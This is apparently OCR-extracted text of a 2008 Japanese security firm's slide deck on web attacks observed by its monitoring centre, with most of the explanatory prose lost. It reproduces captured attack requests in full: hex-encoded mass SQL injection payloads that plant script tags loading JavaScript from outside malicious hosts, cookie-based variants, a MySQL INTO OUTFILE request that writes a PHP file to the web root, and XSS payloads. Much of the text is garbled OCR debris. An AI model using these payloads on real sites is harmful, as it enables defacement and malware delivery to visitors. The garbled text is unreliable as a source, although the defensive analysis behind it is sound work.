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E 2005
IDS/IPS JSOC
(JSIG)
B JSOC CTO JSOC
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Juniper NetScreen [811) 5] ReaISecure Net_work IBM ISS Proventia Series
Sensor/Proventia Series
Cisco PIX/ASA Series Cisco IDS Cisco IPS/ASA Series
| |eterasysDragonNetworkSensor| |

Illulll
::"}l!l
I
lI| |=|

Little eArth Corporation Copyright ©2008 Little eArth Corporation Co.,Ltd.




Warning
Informational

Copyright ©2008 Little eArth Corporation Co.,Ltd.

SQL

Copyright ©2008 Little eArth Corporation Co.,Ltd.




SQL

Web

( )

¥ A Fe
E= === Little eArth Corporation

Copyright ©2008 Little eArth Corporation Co.,Ltd.

400000

200000

I

[l
] III

Little eArth Corporation

JSOC

Copyright ©2008 Little eArth Corporation Co.,Ltd.




- 2004
- 2005
- 2007

Little eArth Corporation

Copyright ©2008 Little eArth Corporation Co.,Ltd.

Atlantic

Ocean
South
G America
n
R L
FOYFRFN P

Co yle
Update 2008/8/1

Little eArth Corporation

Europe

Africa

, Asia

Indian
Ocean

Australia

[ | WZF5E | pmEEs

North Europe
America 17
fitlantic
Ccean
Africa
Souith
Pacific America
Ucean

Copyright ©2008 Little eArth Corporation Co.,Ltd.




rlw rr yr P €

2008/3 200874 2008/5 200876 200877 2008/8

URL
URL

Little eArth Corporation

Copyright ©2008 Little eArth Corporation Co.,Ltd.

POST /index.asp?a=%82%A4";,DECLARE%20@S%20NVARCHAR (4000);SET%20@S=CAST(0x44004500
43004C00410052004500200040005400200076006100720063006800610072002800320035003500
29002C00400043002000760061007200630068006100720028003200350035002900200044004500
43004C0041005200450020005400610062006C0065005F0043007500720073006F00720020004300
5500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E00
61006D0065002C0062002E006E0061006D0065002000660072006FO06D0020007300790073006F00
62006A006500630074007300200061002C0073007900730063006F006C0075006DO06EO0073002000
6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E00
6400200061002E00780074007900700065003D00270075002700200061006E006400200028006200
2E00780074007900700065003D003900390020006F007200200062002E0078007400790070006500
3D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F00
7200200062002E00780074007900700065003D00310036003700290020004F00500045004E002000
5400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C004000430020005700480049004C0045002800
40004000460045005400430048005F005300540041005400550053003D0030002900200042004500
470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00
400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D007200
7400720069006D00280063006FO006E00760065007200740028007600610072006300680061007200
2C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000
740020007300720063003D0068007400740070003A002F002F007700770077002E00320031003100
37003900360036002E006E00650074002F006600750063006B006A00700030002E006A0073003E00
3C002F007300630072006900700074003E0027002700270029004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C00
4F005300450020005400610062006C0065005F0043007500720073006F0072002000440045004100
4C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200
%20AS%20NVARCHAR(4000));EXEC(@S);-- HTTP/1.0

Connection: keep-alive

Content-Type: text/html

Content-Length: O

HOSE: XXXXXXXXXXXXXXXXXXX.]P

Accept: text/html, */*

User—Agent: Mozilla/3.0 (compatible; Indy Library)

Little eArth Corporation
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POST Zindex.asp?a=%82%A4"DECLARE%20@S5%20
NVARCHAR(4000);SET%20@S=CAST
(0x4400450043004C00410052004500200040

0043007500720073006F007200
%20AS%20NVARCHAR(4000));EXEC(@S);—- HTTP/1.0
Connection: keep-alive

Content-Type: text/html

Content-Length: O

HOST: XXXXXXXXXXXXXXXXXXX.|P

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)
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DECLARE @T varchar(255),@C varchar(255)
DECLARE Table Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table Cursor FETCH NEXT FROM Table Cursor

INTO @T,@C WHILE(@@FETCH_STATUS=0)

BEGIN exec('update ['+@T+"] set
[[+@C+"]=rtrim(convert(varchar,['+@C+"]) ) +"<script
src=http://www.2117966.net/fuckjp0.js></script>"")

FETCH NEXT FROM Table Cursor INTO @T,@C

END CLOSE Table Cursor DEALLOCATE Table Cursor

E URL
B URL
E 2007 ntext
E 2008 varchar, sysname, text, ntext

I

& F5
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hoge.asp;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20
cUrSoR%20FoR%20sEIECcT%20a.nAmE,b.nAME%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20
wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe="u'%20AnD%20 (b.xTyPe=99%200R%20b.xTyPe=35%200R%20
b.xTyPe=231%200R%20b.xTyPe=167)%200PeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20
tAbLe_cursoR%20iNt0%20@t,@c%20while (@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20
[%2b@t%2b"]%20sEt%20['%2b@c%2b"]=rtrim(convert(varchar,['%2b@c%2h"]) )%2bcAsT
(Ox223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E7365653
92E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))")%20fEtCh
%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20
dEAILoCaTe%20tAbLe_cursoR;—- HTTP/1.1

hoge.asp;dEcLaRe @t VArChAr(255),@c vArChAr(255) dEcLaRe tAbLe cursoR cUrSoR FoR SEIECT
a.nAmE,b.nAmME FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u’" AnD (b.xTyPe=99
oR b. xTyPe 35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe cursoR fEtCh next FrOm tAbLe _cursoR
iNtO @t,@c while(@@fEICh_status=0) bEgin exec(‘UpDaTe ['+@t+'] sEt
['+@c+"]=rtrim(convert(varchar,['+@c+"']))+cAsT(Ox223E3C2F7469746C653E3C736372697074
207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3
C212D2D aS vArChAr(67))") fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe _cursoR
dEAILoCaTe tAbLe cursoR;-- HTTP/1.1

| "></title><script src=http://s.see9.us/s.js></script><!--

sQL
CAST 16
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DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and

a.xtype="u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table Cursor FETCH NEXT FROM Table Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+"]="">
</title><script src="http://wwwO.douhungn.cn/csrss/w.js"></script>
<l--"+['+@C+'] where '+@C+" not like "%"></title>

<script src="http://wwwO.douhungn.cn/csrss/w.js"></script><!--"")FETCH

NEXT FROM Table Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE

Table Cursor

What's On The Table S v e
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Cookie

E 9 30 6 10

F 61.152.246.157 211.144.133.161 ( )
E cookie

® URL

I

Request( variable )

GET /sqlinj.asp?param="%3BDECLARE%20@S%20VARCHAR(4000) HTTP/1.0
User-Agent: Mozilla/4.0
Host: 192.168.5.110:9084

GET /sqlinj.asp HTTP/1.0

Cookie: param="%3BDECLARE%20@S%20VARCHAR(4000)
User-Agent: Mozilla/4.0

Host: 192.168.5.110:9084

= Litlle eArth Corporation Copyright ©2008 Little eArth Corporation Co.,Ltd.

o
“lliill

POST /index.asp HTTP/1.1
Cookie: id=1%3BDEC%LARE%20@S%20VAR%CHAR (4000)%3BS%ET%20
@S%3DCA%ST(0x4445434C415245204054207661726368617228

4F2040542C404320454E4420434C4F5345205461626C655F43
7572736F72204445414C4C4F43415445205461626C655F4375
72736F72%20AS%20VA%RCHAR(4000))%3Be%xec%20(@S)--
Content-Type: application/x-www-form-urlencoded

Host: www.example.jp

Content-Length: 3

Cookie: id=1%3BDECLARE%20@S%20VARCHAR (4000)%3BSET%20@S%3DCAST

sQL %
ASP 16 %
IDS/IPS/WAF

= Litlle eArth Corporation Copyright ©2008 Little eArth Corporation Co.,Ltd.

[Jim

I
I




Little eArth Corporation

i e fm e
i ) i
i ! i ! i ‘
i ' ]
fm e , ' ! ' ' ' !
. ; ] ! ] ! ] H
' : ] ' ] ! ] ,
i ] ' ' ' i ' i
f e e e gty g g
f—
’ N N ’ Ay Y
’ N ’ N / N ’ Ny
’ \ ’ N ’ Ny ’ \
/ \ e N 4 \ ’ N
/ \ , N ’ \ ’ \
/ \ . N / \ / \
’ Ay ’ N N\ ’
\ . ~ ’ \ / AN
\ / AN / N / N
N / N / \ / N
N , N ’ \ ’ \
\ ’ N / \ / N
\ 7 N / \ ’ N
N \
\ . N ’ . \
N , . / % / N
\ . N ’ N 4 \
\ / N / N 4 \
\ , N / 4 \
\ v N N ’
N N \ , \
v/ N AN S/ N
O \I N \
e AN \ J/ \
L / \ , \
\ / S e . N
- / - -~
. \ / L _- ~-~< \
i \ . NS - <.\
= A 3034 Sy
/ RS
’ ) -
. A Ay
¥
\
\
'
I
'
/
/

Copyright ©2008 Little eArth Corporation Co.,Ltd.

MySQL

Little eArth Corporation

Copyright ©2008 Little eArth Corporation Co.,Ltd.




1.5QL

Web
Web MySQL
o &
> ¥ o &
. o
Web

[l
I
i III

=== Little eArth Corporation

I
I

Copyright ©2008 Little eArth Corporation Co.,Ltd.

GET Zindex.php?id=1111%20union%20select%200x6A7573745F615F746573745F315F305F305F64617
3685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686
F2840756E6C696E6GB28222F7661722F7777772F68746D6C2F6A6174657374332E7068702229203

F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E %20
into%20outfile%20'/var/www/html/jatest3.php'--&page=1

GET /index.php?id=1111 union select OX6A7573745F615F746573745F315F305F305F646
173685F305F3C3F706870206563686F286D643528226A7573745F615F74657374222
9293B6563686F2840756E6C696E6B28222F7661722F7777772F68746D6C2F6A61746
57374332E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F7
56E222E226C696E6B656422293F3E into outfile '/var/www/html/jatest3.php'--&page=1

just a test 1 0_0 _dash_0_<?php echo(md5("just_a_test"));echo
(@unlink("/var/www/html/jatest3.php™) ? "un"."linked" : "not_un"."linked™)?>

c6db3524fe71d6¢c576098805a07e79e4unlinked

c6db3524fe71d6¢c576098805a07e79e4not_unlinked

[l
11T
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I

- Warning: Invalid argument supplied for foreach()

- Warning: mysqgl_ numrows(): supplied argument is not a
valid MySQL result resource

Yhﬁgg! s

s T

S ST s o e o PN T T o a ERTLTUA T,
%eylindl BRTIRRILATAR. BRESEEBRS SEN I - TSRO TT.
> depuiadd]

A=A RAN T SRR T, RO~ @ B GIT TR T,
HHTMLH — VAL TRA TR, LA 7ok i), e r b Dl IR T ST RO

Yahoo! JAFAK I~ =Spnol 7 N TR E e L

Warning Irvsld argumant supplisd for foreach) in qurflmmmd?fm php on ins 558
Warning lrvald argument supplied for fareachl) in fu:rflmmufw?f_mm"hu an e 563

Warning lrvald argument supplied for fareachl) in Imrﬁhmuﬁm Im.php &0 ne 173

Little eArth Corporation
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User-Agent XSS

GET /index.html HTTP/1.1
Referer: http://adultsite/

User—-Agent: <SCRIPT> window.location=" http:// adultsite / ' </script>
Host: www.lac.co.jp

(analog, awstats )
XSS

[Jim
iy
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UTF-7 XSS

I
B /index.cgi?+ADw-script+AD4-alert(document.domain)+ADw-/script+AD4 -

EHTTP content-type
UTF-7
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Moodle

F Moodle Web

1.8.4
2008/9/3
2008/9/3
20087/9/5
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Mitstek. com
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Moodle Links

H :k LJ 530 sites (173 not shown here)
Moodle Sites
Some of the growing community of Moodle users are listed below.

To add or update your site, just use the "Registration” button on your Moodle admin page.

(Note: sites that are unreachable or obviously just for testing are not accepted)

Currently there are 43818 sites from 200 countries who have registered.
7757 of these have requested privacy and are not shown in the lists below.

Little eArth Corporation Copyright ©2008 Little eArth Corporation Co.,Ltd.
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Mac

SSL

HTML
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Internet Explorer

Flash Player

Real Player
QuickTime

Adobe Reader
MS Office

WindowsGDI
Shapshot Viewer

L5 ]
10 (5

I7 R l65%

kiO=nkk

SNS Advisory Report
2008/4 - 2008/6 i

http://www.lac.co.jp/info/snsdb_advisory/
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IP
30 - 50 IPs
30 - 50 URLs -
iframe M’”""“‘” i
5 - 10 URLs = WM/
= N
— N .
http://1.example.com/1,js —— 192.168.0.1 7
http://2.example.com/2.js 192.168.22.33 a
http://3.example.com/3.js | 192.168.66.77
http://4.example.com/4.js 192.168.88.99
—/ N
L A
s‘f
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- http://countxx.51yes.com/click.aspx?id=xxxxx&logo=1
« http://sxxx.cnzz.com/stst.phpid=xxxxx&web_id=xxxxx
- http://js.users.51.1a/XXXXXXX.|S
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ID:XX PASS: ZZZ
ID:XX PASS:ZZZ
ID:XX PASS:ZZZ
ID:XX PASS:ZZZ

=)

Emergency
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